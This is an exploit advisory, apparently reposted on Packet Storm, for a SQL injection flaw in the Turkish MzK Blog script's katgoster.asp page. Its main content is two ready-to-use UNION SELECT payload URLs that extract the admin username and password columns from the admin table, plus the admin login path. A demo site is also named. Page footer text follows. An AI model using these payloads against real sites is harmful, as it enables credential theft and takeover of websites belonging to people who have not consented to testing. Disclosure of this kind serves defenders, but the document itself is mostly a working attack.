MzK Blog suffers from a SQL injection vulnerability in katgoster.asp.
60d39a1e91a5664b25eb18efd37f2fde
MzK Blog (tr)) SQL Injection Vuln
#Software: MzK Blog (tr)
#download: http://www.aspindir.com/goster/5013
#demo: http://www.karahanbilgisayar.com/blog/
#Found By: GeFORC3 | G3
#Exploit:
http://site.com/script_path/katgoster.asp?katID=-1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+admin
http://site.com/script_path/katgoster.asp?katID=-1+union+select+0,sifre,2,3,4,5,6,7+from+admin
adminpanel:
/login.asp
WwW.GeFORC3.Org | WwW.HeykirBlog.Org | WwW.NetKaBus.Com
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!